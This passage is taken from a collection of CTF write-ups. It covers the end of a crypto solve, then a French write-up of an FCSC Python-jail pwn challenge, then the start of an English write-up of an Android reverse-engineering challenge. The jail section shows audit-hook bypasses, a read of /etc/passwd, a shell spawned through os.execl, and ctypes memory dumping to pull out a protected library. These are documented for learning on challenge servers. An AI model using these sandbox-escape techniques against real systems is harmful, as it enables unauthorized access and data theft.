  print('[%s] Secret: %s' % (k, b64encode(secret).decode()))

  counter = Counter()
  cipher = AES.new(key, AES.MODE_CTR, counter=counter.counter)
  f[k + 1] = cipher.encrypt(f[k + 1])
```

Le script met un peu de temps à s'exécuter (2 minutes sur ma machine), probablement à cause des appels à Sage... (je ne connais pas bien Sage donc je ne sais pas s'il y a un moyen plus simple de "wrapper" tout ça, j'ai juste vu que je pouvais exécuter le script en ligne de commande donc j'ai foncé là-dessus).

On trouve alors enfin le (long) mot de passe à la 128ème itération, et on prie pour qu'il n'y ait pas une étape supplémentaire à la fin :

```
$ ./ssecret.bin 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                        
Well done! Here is the flag: FCSC{b0f6cfda0049a03d65d6b9e3e3ecf5b990c24ffe27784b7d553fcdc2f45a8ad4}
```

Enjoy !


# Why not a sandbox? (pwn, 500)

## Description du challenge

```
Votre but est d'appeler la fonction print_flag pour afficher le flag.

Service : nc challenges1.france-cybersecurity-challenge.fr 4005
```

## Solution

On se connecte au service et on est accueilli avec ce qui a tout l'air d'être un shell Python :

```python
$ nc challenges1.france-cybersecurity-challenge.fr 4005
Arriverez-vous à appeler la fonction print_flag ?
Python 3.8.2 (default, Apr  1 2020, 15:52:55) 
[GCC 9.3.0] on linux
>>> print_flag
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'print_flag' is not defined
```

A partir de ce moment, je me dis que c'est une Python jail classique et j'essaie un peu tous les payloads usuels. L'importation semble être autorisée, mais sur un nombre restreint de modules :

```python
>>> import binascii
Exception ignored in audit hook:
Exception: Action interdite
Exception: Module non autorisé
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite
```

En farfouillant un peu toutefois à l'aide de `dir()`, on arrive à importer les modules builtins que l'on veut :

```python
>>> L = __loader__.load_module
>>> L('binascii')
<module 'binascii' (built-in)>
```

La fonction `open` existe, mais on dirait que d'un hook empêche de l'utiliser :

```python
>>> open('a')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
Exception: Action interdite
```

Cependant, toujours en tatonnant, on trouve une fonction `open` dans le module *codecs* qui fonctionne. Génial.

```python
>>> open = L('codecs').open
>>> open('/etc/passwd', 'r').read()
'root:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\nsys:x:3:3:sys:/dev:/usr/sbin/nologin\nsync:x:4:65534:sync:/bin:/bin/sync\ngames:x:5:60:games:/usr/games:/usr/sbin/nologin\nman:x:6:12:man:/var/cache/man:/usr/sbin/nologin\nlp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin\nmail:x:8:8:mail:/var/mail:/usr/sbin/nologin\nnews:x:9:9:news:/var/spool/news:/usr/sbin/nologin\nuucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin\nproxy:x:13:13:proxy:/bin:/usr/sbin/nologin\nwww-data:x:33:33:www-data:/var/www:/usr/sbin/nologin\nbackup:x:34:34:backup:/var/backups:/usr/sbin/nologin\nlist:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin\nirc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin\nnobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin\n_apt:x:100:65534::/nonexistent:/bin/false\nctf-init:x:1000:1000::/home/ctf-init:\nctf:x:1001:1001::/home/ctf:\n'
```

On peut maintenant lire des fichiers arbitraires sur le serveur... on essaie quelques noms du style `server.py` ou `chall.py`, mais rien de probant. Essayons de lire `/proc/self/maps` :

```
55b298700000-55b298701000 r--p 00000000 09:03 14549288                   /app/spython
55b298701000-55b298702000 r-xp 00001000 09:03 14549288                   /app/spython
55b298702000-55b298703000 r--p 00002000 09:03 14549288                   /app/spython
55b298703000-55b298704000 r--p 00002000 09:03 14549288                   /app/spython
55b298704000-55b298705000 rw-p 00003000 09:03 14549288                   /app/spython
55b299a56000-55b299b3b000 rw-p 00000000 00:00 0                          [heap]
7f5b9551d000-7f5b9559d000 rw-p 00000000 00:00 0 
7f5b955dd000-7f5b9569d000 rw-p 00000000 00:00 0 
7f5b956b8000-7f5b9581d000 rw-p 00000000 00:00 0 
7f5b9581d000-7f5b95824000 r--s 00000000 09:03 14555684                   /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
7f5b95824000-7f5b95856000 r--p 00000000 09:03 14554819                   /usr/lib/locale/C.UTF-8/LC_CTYPE
7f5b95856000-7f5b95858000 rw-p 00000000 00:00 0 
7f5b95858000-7f5b95867000 r--p 00000000 09:03 14549531                   /lib/x86_64-linux-gnu/libm-2.30.so
7f5b95867000-7f5b95902000 r-xp 0000f000 09:03 14549531                   /lib/x86_64-linux-gnu/libm-2.30.so
7f5b95902000-7f5b9599b000 r--p 000aa000 09:03 14549531                   /lib/x86_64-linux-gnu/libm-2.30.so
7f5b9599b000-7f5b9599c000 r--p 00142000 09:03 14549531                   /lib/x86_64-linux-gnu/libm-2.30.so
7f5b9599c000-7f5b9599d000 rw-p 00143000 09:03 14549531                   /lib/x86_64-linux-gnu/libm-2.30.so
7f5b9599d000-7f5b9599e000 r--p 00000000 09:03 14550555                   /lib/x86_64-linux-gnu/libutil-2.30.so
7f5b9599e000-7f5b9599f000 r-xp 00001000 09:03 14550555                   /lib/x86_64-linux-gnu/libutil-2.30.so
7f5b9599f000-7f5b959a0000 r--p 00002000 09:03 14550555                   /lib/x86_64-linux-gnu/libutil-2.30.so
7f5b959a0000-7f5b959a1000 r--p 00002000 09:03 14550555                   /lib/x86_64-linux-gnu/libutil-2.30.so
7f5b959a1000-7f5b959a2000 rw-p 00003000 09:03 14550555                   /lib/x86_64-linux-gnu/libutil-2.30.so
7f5b959a2000-7f5b959a3000 r--p 00000000 09:03 14549446                   /lib/x86_64-linux-gnu/libdl-2.30.so
7f5b959a3000-7f5b959a4000 r-xp 00001000 09:03 14549446                   /lib/x86_64-linux-gnu/libdl-2.30.so
7f5b959a4000-7f5b959a5000 r--p 00002000 09:03 14549446                   /lib/x86_64-linux-gnu/libdl-2.30.so
7f5b959a5000-7f5b959a6000 r--p 00002000 09:03 14549446                   /lib/x86_64-linux-gnu/libdl-2.30.so
7f5b959a6000-7f5b959a7000 rw-p 00003000 09:03 14549446                   /lib/x86_64-linux-gnu/libdl-2.30.so
7f5b959a7000-7f5b959a9000 rw-p 00000000 00:00 0 
7f5b959a9000-7f5b959b0000 r--p 00000000 09:03 14550538                   /lib/x86_64-linux-gnu/libpthread-2.30.so
7f5b959b0000-7f5b959bf000 r-xp 00007000 09:03 14550538                   /lib/x86_64-linux-gnu/libpthread-2.30.so
7f5b959bf000-7f5b959c4000 r--p 00016000 09:03 14550538                   /lib/x86_64-linux-gnu/libpthread-2.30.so
7f5b959c4000-7f5b959c5000 r--p 0001a000 09:03 14550538                   /lib/x86_64-linux-gnu/libpthread-2.30.so
7f5b959c5000-7f5b959c6000 rw-p 0001b000 09:03 14550538                   /lib/x86_64-linux-gnu/libpthread-2.30.so
7f5b959c6000-7f5b959ca000 rw-p 00000000 00:00 0 
7f5b959ca000-7f5b959e3000 r-xp 00000000 09:03 6689755                    /lib/x86_64-linux-gnu/libz.so.1.2.8
7f5b959e3000-7f5b95be2000 ---p 00019000 09:03 6689755                    /lib/x86_64-linux-gnu/libz.so.1.2.8
7f5b95be2000-7f5b95be3000 r--p 00018000 09:03 6689755                    /lib/x86_64-linux-gnu/libz.so.1.2.8
7f5b95be3000-7f5b95be4000 rw-p 00019000 09:03 6689755                    /lib/x86_64-linux-gnu/libz.so.1.2.8
7f5b95be4000-7f5b95be8000 r--p 00000000 09:03 14549470                   /lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f5b95be8000-7f5b95c03000 r-xp 00004000 09:03 14549470                   /lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f5b95c03000-7f5b95c0d000 r--p 0001f000 09:03 14549470                   /lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f5b95c0d000-7f5b95c0e000 ---p 00029000 09:03 14549470                   /lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f5b95c0e000-7f5b95c10000 r--p 00029000 09:03 14549470                   /lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f5b95c10000-7f5b95c11000 rw-p 0002b000 09:03 14549470                   /lib/x86_64-linux-gnu/libexpat.so.1.6.11
7f5b95c11000-7f5b95c36000 r--p 00000000 09:03 14549378                   /lib/x86_64-linux-gnu/libc-2.30.so
7f5b95c36000-7f5b95d80000 r-xp 00025000 09:03 14549378                   /lib/x86_64-linux-gnu/libc-2.30.so
7f5b95d80000-7f5b95dca000 r--p 0016f000 09:03 14549378                   /lib/x86_64-linux-gnu/libc-2.30.so
7f5b95dca000-7f5b95dcd000 r--p 001b8000 09:03 14549378                   /lib/x86_64-linux-gnu/libc-2.30.so
7f5b95dcd000-7f5b95dd0000 rw-p 001bb000 09:03 14549378                   /lib/x86_64-linux-gnu/libc-2.30.so
7f5b95dd0000-7f5b95dd4000 rw-p 00000000 00:00 0 
7f5b95dd4000-7f5b95dd5000 r--p 00000000 09:03 14549270                   /app/lib_flag.so
7f5b95dd5000-7f5b95dd6000 r-xp 00001000 09:03 14549270                   /app/lib_flag.so
7f5b95dd6000-7f5b95dd7000 r--p 00002000 09:03 14549270                   /app/lib_flag.so
7f5b95dd7000-7f5b95dd8000 r--p 00002000 09:03 14549270                   /app/lib_flag.so
7f5b95dd8000-7f5b95dd9000 rw-p 00003000 09:03 14549270                   /app/lib_flag.so
7f5b95dd9000-7f5b95e4a000 r--p 00000000 09:03 14555712                   /usr/lib/x86_64-linux-gnu/libpython3.8.so.1.0
7f5b95e4a000-7f5b9609e000 r-xp 00071000 09:03 14555712                   /usr/lib/x86_64-linux-gnu/libpython3.8.so.1.0
7f5b9609e000-7f5b962b7000 r--p 002c5000 09:03 14555712                   /usr/lib/x86_64-linux-gnu/libpython3.8.so.1.0
7f5b962b7000-7f5b962bd000 r--p 004dd000 09:03 14555712                   /usr/lib/x86_64-linux-gnu/libpython3.8.so.1.0
7f5b962bd000-7f5b96304000 rw-p 004e3000 09:03 14555712                   /usr/lib/x86_64-linux-gnu/libpython3.8.so.1.0
7f5b96304000-7f5b96329000 rw-p 00000000 00:00 0 
7f5b9632b000-7f5b9632c000 r--p 00000000 09:03 14549310                   /lib/x86_64-linux-gnu/ld-2.30.so
7f5b9632c000-7f5b9634a000 r-xp 00001000 09:03 14549310                   /lib/x86_64-linux-gnu/ld-2.30.so
7f5b9634a000-7f5b96352000 r--p 0001f000 09:03 14549310                   /lib/x86_64-linux-gnu/ld-2.30.so
7f5b96353000-7f5b96354000 r--p 00027000 09:03 14549310                   /lib/x86_64-linux-gnu/ld-2.30.so
7f5b96354000-7f5b96355000 rw-p 00028000 09:03 14549310                   /lib/x86_64-linux-gnu/ld-2.30.so
7f5b96355000-7f5b96356000 rw-p 00000000 00:00 0 
7ffe9728e000-7ffe972af000 rw-p 00000000 00:00 0                          [stack]
7ffe9735c000-7ffe9735f000 r--p 00000000 00:00 0                          [vvar]
7ffe9735f000-7ffe97361000 r-xp 00000000 00:00 0                          [vdso]
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]
```

Fantastique : il semblerait que le serveur soit en fait lancé par un binaire nommé `/app/spython`, et on remarque aussi l'existence d'un fichier très intéressant nommé `/app/lib_flag.so`. Probablement la fonction `print_flag` tant recherchée se trouve à l'intérieur !

On dump le binaire `spython`, par exemple en l'encodant en hexadécimal et en le rapatriant sur sa machine à l'aide d'un habile copier-coller :

```python
tohex = L('binascii').hexlify
tohex(open('spython', 'rb').read())
```

On l'analyse avec Ghidra. Le binaire utilise l'API CPython et semble utiliser une mécanique de *hooks* pour bloquer certaines opérations, mais je ne connais pas le fonctionnement plus en détail et je n'ai pas réussi à comprendre exactement tout le fonctionnement du binaire. Heureusement ce n'est pas très important pour réussir l'épreuve.

![](https://i.imgur.com/OAK8Q9V.png)

On remarque la fonction `welcome` qui affiche le message du début : ce symbole n'existe pas dans le binaire, il provient certainement de la fameuse `lib_flag.so`.

Essayons d'ailleurs de lire ce fichier :

```python
>>> open('lib_flag.so', 'rb')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "/usr/lib/python3.8/codecs.py", line 905, in open
    file = builtins.open(filename, mode, buffering)
PermissionError: [Errno 13] Permission denied: 'lib_flag.so'
```

Mince... A ce moment-là je me suis dit que j'allais continuer à traiter l'épreuve comme une jail classique, et j'ai trouvé le moyen d'importer `os` et d'obtenir un shell. Spoiler alert, ce shell ne sert à rien pour la résolution.

```python
>>> sys = L('sys')
>>> os = sys.meta_path[2].find_module('os').load_module('os')
>>> shell = lambda: os.execl('/bin/bash','/bin/bash')
>>> shell()
bash: cannot set terminal process group (15810): Inappropriate ioctl for device
bash: no job control in this shell
ctf@whynotasandbox:/app$ ls -la
total 40
drwxr-xr-x 1 root     root  4096 Apr 25 20:58 .
drwxr-xr-x 1 root     root  4096 Apr 25 20:59 ..
-r-------- 1 ctf-init ctf  16064 Apr 25 20:58 lib_flag.so
-r-sr-x--- 1 ctf-init ctf  14904 Apr 25 20:58 spython
```

Voici donc la source de tous nos problèmes : seul *ctf-init* peut lire `lib_flag.so`.

Cette deuxième partie de l'épreuve fut la plus difficile. Il faudrait soit trouver un moyen d'appeler `print_flag` depuis le shell Python, soit trouver un moyen de lire directement le contenu de `lib_flag.so`.

Après beaucoup d'essais infructueux, la solution m'est finalement apparue en m'inspirant de la toute fin de ce writeup : <https://germano.dev/fuckpyjails/>

Avec le module `ctypes`, on peut aller fouiller la mémoire du processus. En plus, on a le mapping mémoire grâce à `/proc/self/maps`, et en particulier les adresses des pages de là où est chargée `libc_flag.so` : c'est gagné.

```
7f5b95dd4000-7f5b95dd5000 r--p 00000000 09:03 14549270  /app/lib_flag.so
7f5b95dd5000-7f5b95dd6000 r-xp 00001000 09:03 14549270  /app/lib_flag.so
7f5b95dd6000-7f5b95dd7000 r--p 00002000 09:03 14549270  /app/lib_flag.so
7f5b95dd7000-7f5b95dd8000 r--p 00002000 09:03 14549270  /app/lib_flag.so
7f5b95dd8000-7f5b95dd9000 rw-p 00003000 09:03 14549270  /app/lib_flag.so
```

Voici un exemple de lecture en mémoire :

```python
>>> from ctypes import *
>>> OP = POINTER(c_char)
>>> s = "salut"
>>> s.__repr__ # address leak
<method-wrapper '__repr__' of str object at 0x7ffa315740f0>
>>> cast(0x7ffa315740f0, OP).contents
c_char(b'\x01')
```

Bon, le "salut" apparaît en réalité quelques dizaines d'octets plus tard, parce que la structure des objets *string* est plus complexe que ça (voir <https://rushter.com/blog/python-strings-and-memory/>).

Écrivons maintenant une fonction très utile qui nous permettra de dump la mémoire sur un nombre d'octets donné :

```python
mem = lambda addr, sz: b''.join(cast(addr+i, POINTER(c_char)).contents for i in range(sz))
```

Je passe les détails du dump des pages associées à `lib_flag.so`, toutes les adresses sont données, j'encode en hexa le total et je rapatrie sur ma machine.

On obtient un ELF mais il semble corrompu. En l'examinant, j'ai l'impression qu'une page (4096 octets) a été dupliquée pour une raison que je ne connais pas. En l'enlevant, ça fonctionne, et on fait chauffer Ghidra :

![](https://i.imgur.com/bZuBWza.png)

Un petit coup de CyberChef et c'est plié.

![](https://i.imgur.com/BoZ76yd.png)

Une épreuve très fun qui m'aura appris un tas de choses, fait lire beaucoup de doc, et qui avec du recul n'est pas si tirée par les cheveux. J'adore !


# European Cyber Week CTF Qualifiers 2020

I ranked 1st place in the European Cyber Week CTF Qualifiers 2020 organized by Thales, Airbus and Diateam, managing to solve all the tasks.

![scoreboard.png](/files/-MKXAW1kBXG-Gr2_XZOd)

![challenges.png](/files/-MKXAW1lCHtPUfOzL3QE)


# Antirdroid

## Reverse Engineering / 450 points / 14 solves

### Introduction

**Antirdroid** was a fun Android reverse engineering challenge split in 3 steps. I am not that familiar with Android RE and especially with the specific tools for dynamic analysis and debugging, hence why after desperately and unsuccessfully trying to patch the application and make it work on an emulator I decided to give up. I only believe in one god, and its name is **static analysis**.

### Description

*In this challenge, you need to find three flags.*

*Each flag starts with ECW\_ and will be displayed in the Android logcat together with a tag indicating the flag number.*

[antirdroid.apk](https://github.com/face0xff/ctf/tree/e9b5fd21b8d0bca9316d80d5a889cd628fa0758b/2020/ECW_Quals_2020/Antirdroid/antirdroid.apk)

### Part 1

In order to decompile the APK, I used [Bytecode Viewer](https://github.com/Konloch/bytecode-viewer).

![antirdroid.apk tree](/files/-MKXG4v-DH6BR7BXjZf7)

In the `assets/` directory, we can see a file `mnist.tflite` and 12 files `mnist-letter.tflite` with `letter` ranging from `a` to `l`.

In the `com/example/ecw` directory lie two classes named `MainActivity.class` and `FinishActivity.class`.

`MainActivity` contains a few interesting methods:

```java
public void onActivityResult(int var1, int var2, Intent var3) {
      super.onActivityResult(var1, var2, var3);
      if (var1 == 12 && var2 == 10) {
         String var7;
         label15: {
            LinearLayout var4 = (LinearLayout)this.findViewById(id.base);
            TextView var5 = new TextView(this);
            var5.setText("Congratulation: the final flag is:");
            var4.addView(var5);
            if (var3 != null) {
               var7 = var3.getStringExtra("end_flag");
               if (var7 != null) {
                  break label15;
               }
            }

            var7 = "ERROR, this is not the flag";
         }

         LinearLayout var6 = (LinearLayout)this.findViewById(id.base);
         TextView var8 = new TextView(this);
         var8.setText(var7);
         var6.addView(var8);
         Log.i("FLAG 3", var7);
      }

   }
```

This seems to log the final flag for the third step, so we'll save this for later.

```java
public void onCreate(Bundle var1) {
      super.onCreate(var1);
      this.setContentView(2131361821);
      ClassLoaderSharing.INSTANCE.setLoader(this.getClassLoader());
      Iterator var69 = CollectionsKt__CollectionsKt.listOf(new String[]{"step_1", "step_2", "step_3"}).iterator();

      while(var69.hasNext()) {
         String var2 = (String)var69.next();

         Field var3;
         FileOutputStream var70;
         boolean var10001;
         try {
            var3 = c.class.getField(var2);
            StringBuilder var4 = new StringBuilder();
            var4.append(var2);
            var4.append(".dex");
            var70 = this.openFileOutput(var4.toString(), 0);
         } catch (Exception var68) {
            var10001 = false;
            continue;
         }

         [...]

         var71 = this.getResources().openRawResource(var3.getInt((Object)null));

         [...]
```

This seems to read files called `step_1.dex`, `step_2.dex` and `step_3.dex` from *raw resources*. Speaking of which, if you unzip the apk and check in the `res/raw/` folder, you will find these files, but they do not look like valid dex files. Perhaps are they encrypted?

Let's take a look at `FinishActivity` now:

```java
public final Object invoke() {
      Class var1 = this.b.getClass();
      String var2 = this.b.getSharedPreferences("flag", 0).getString("a", (String)null);
      if (var2 == null) {
         var2 = "fail";
      }

      IvParameterSpec var3 = new IvParameterSpec(new byte[]{-101, 105, -107, -118, -65, 117, -35, 92, -47, -112, -102, -76, 40, -21, 69, 93});
      SecretKeySpec var5 = new SecretKeySpec(SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256").generateSecret(new PBEKeySpec(var2.toCharArray(), new byte[]{56, -35, 119, -111, 71, 113, -83, 70, -119, 122, -92, 22, 124, 23, -83, 110}, 65536, 256)).getEncoded(), "AES");
      Cipher var4 = Cipher.getInstance("AES/CBC/PKCS7Padding");
      var4.init(2, var5, var3);
      ClassLoader var6 = ClassLoaderSharing.INSTANCE.getLoader();
      Class var7 = var1;
      if (var6 != null) {
         Class var8 = var6.loadClass(new String(var4.doFinal(Base64.decode("raTLFVkpCb4yP1YXsMdvqr2TjJSxtpiYA0yJLQ2UTPs=", 0)), Charsets.UTF_8));
         var7 = var1;
         if (var8 != null) {
            var7 = var8;
         }
      }

      return var7.getConstructor(Activity.class).newInstance(this.b);
   }
```

Definitely some interesting stuff going on here, we know for sure there's crypto involved now. Some base64 string is decoded then decrypted using AES CBC, but the key seems derived from a certain variable, that is the `a` field in a *shared preferences* object called `flag`. Shared preferences allow to read and save key/value pairs on device storage, which can also be used to keep a global state in the application. We understand that we'll probably get to this bit later in the challenge.

In the `d/c/a/d/` folder, there is an interesting `b.class` file:

```java
public Object invoke(Object var1) {
      Cursor var288 = (Cursor)var1;
      IntRef var2 = this.c;
      int var3 = var2.element++;
      boolean var4 = false;
      if (var3 == 4) {
         if (this.b == null) {
            throw null;
         }

         Companion var289;
         label2364:

         var289 = Result.Companion;
         var1 = Result.constructor-impl(var288.getString(var288.getColumnIndex("data2")));

         Object var291 = var1;
         if (Result.isFailure-impl(var1)) {
            var291 = null;
         }

         String var290 = (String)var291;
         if (var290 != null) {
            MessageDigest var294 = MessageDigest.getInstance("MD5");
            var294.update(var290.getBytes(Charsets.UTF_8));
            Unit var301;
            if (Intrinsics.areEqual((new BigInteger(1, var294.digest())).toString(16), "b71985397688d6f1820685dde534981b")) {
               label2357: {
                  Exception var10000;
                  label2372: {

                     [...]

                     Cipher var7;
                     FileInputStream var8;
                     FileOutputStream var303;
                     MainActivity var306;
                     File var307;

                     IvParameterSpec var299 = new IvParameterSpec(new byte[]{-101, 105, -107, -118, -65, 117, -35, 92, -47, -112, -102, -76, 40, -21, 69, 93});
                     SecretKeyFactory var300 = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA256");
                     char[] var292 = var290.toCharArray();
                     PBEKeySpec var6 = new PBEKeySpec(var292, new byte[]{56, -35, 119, -111, 71, 113, -83, 70, -119, 122, -92, 22, 124, 23, -83, 110}, 65536, 256);
                     SecretKey var302 = var300.generateSecret(var6);
                     SecretKeySpec var293 = new SecretKeySpec(var302.getEncoded(), "AES");
                     Cipher var304 = Cipher.getInstance("AES/CBC/PKCS7Padding");
                     var304.init(2, var293, var299);
                     this.b.p = var304;
                     var306 = this.b;
                     var7 = this.b.p;
                     var290 = UUID.randomUUID().toString();
                     var307 = new File(var306.getFilesDir(), var290);
                     var8 = var306.openFileInput("step_1.dex");
                     var303 = var306.openFileOutput(var290, 0);


                     byte[] var9;
                     var9 = new byte[4096];

                     while(true) {
                        var3 = var8.read(var9);
                        if (var3 > 0) {
                           byte[] var295;
                           if (var3 == 4096) {
                              var295 = var7.update(var9);
                           } else {
                              var295 = var7.doFinal(var9, 0, var3);
                           }
                           var303.write(var295);
                        }
                     }

                     [...]

                     label2376: {
                        int var10;
                        String var305;
                        byte[] var312;
                        Method[] var313;
                        try {
                           CloseableKt.closeFinally(var303, (Throwable)null);
                           if (!var307.exists()) {
                              break label2376;
                           }

                           PathClassLoader var308 = new PathClassLoader(var307.getAbsolutePath(), var306.getClassLoader());
                           byte[] var310 = this.b.p.doFinal(Base64.decode("j04vGcW35ZUg23JsqQ+/YA==", 0));
                           var305 = new String(var310, Charsets.UTF_8);
                           var307.getClass().getMethod(var305).invoke(var307);
                           byte[] var309 = this.b.p.doFinal(Base64.decode("WOtre8ObMy2nnFbqn2Kb6w==", 0));
                           String var311 = new String(var309, Charsets.UTF_8);
                           var291 = var308.loadClass(var311).newInstance();
                           var312 = this.b.p.doFinal(Base64.decode("J9vFCBjTjE6YoMI1wVDwjg==", 0));
                           var290 = new String(var312, Charsets.UTF_8);
                           var313 = var291.getClass().getDeclaredMethods();
                           var10 = var313.length;
                        } catch (Exception var273) {
                           var10000 = var273;
                           var10001 = false;
                           break label2372;
                        }

                        for(var3 = 0; var3 < var10; ++var3) {
                           Method var315 = var313[var3];

                           boolean var11;
                           label2295: {
                              label2294: {
                                 if (Intrinsics.areEqual(var315.getName(), var290) && Arrays.equals(var315.getParameterTypes(), new Class[]{Activity.class})) {
                                    break label2294;
                                 }

                                 var11 = false;
                                 break label2295;
                              }

                              var11 = true;
                           }

                           if (var11) {
                              try {
                                 var315.invoke(var291, this.b);
                                 Editor var314 = this.b.getSharedPreferences("flag", 0).edit();
                                 var312 = this.b.p.doFinal(Base64.decode("bjmQcWsAN3k8NxmaYYWvy6L+SDvu3ZlDFMSFvepIycxwZLgw5qGRB5ggJLHpDvW3", 0));
                                 var305 = new String(var312, Charsets.UTF_8);
                                 var314.putString("a", var305).apply();
                                 ((TextView)this.b.q.getValue()).setVisibility(8);
                                 break label2357;
                              } catch (Exception var271) {
                                 var10000 = var271;
                                 var10001 = false;
                                 break label2372;
                              }
                           }
                        }

                        try {
                           NoSuchElementException var316 = new NoSuchElementException("Array contains no element matching the predicate.");
                           throw var316;
                        } catch (Exception var266) {
                           var10000 = var266;
                           var10001 = false;
                           break label2372;
                        }
                     }

                     try {
                        FileNotFoundException var318 = new FileNotFoundException();
                        throw var318;
                     } catch (Exception var265) {
                        var10000 = var265;
                        var10001 = false;
                     }
                  }

                  Exception var317 = var10000;
                  var317.printStackTrace();
                  Toast.makeText(this.b, "Nice try", 0).show();
               }
            }

            var301 = Unit.INSTANCE;
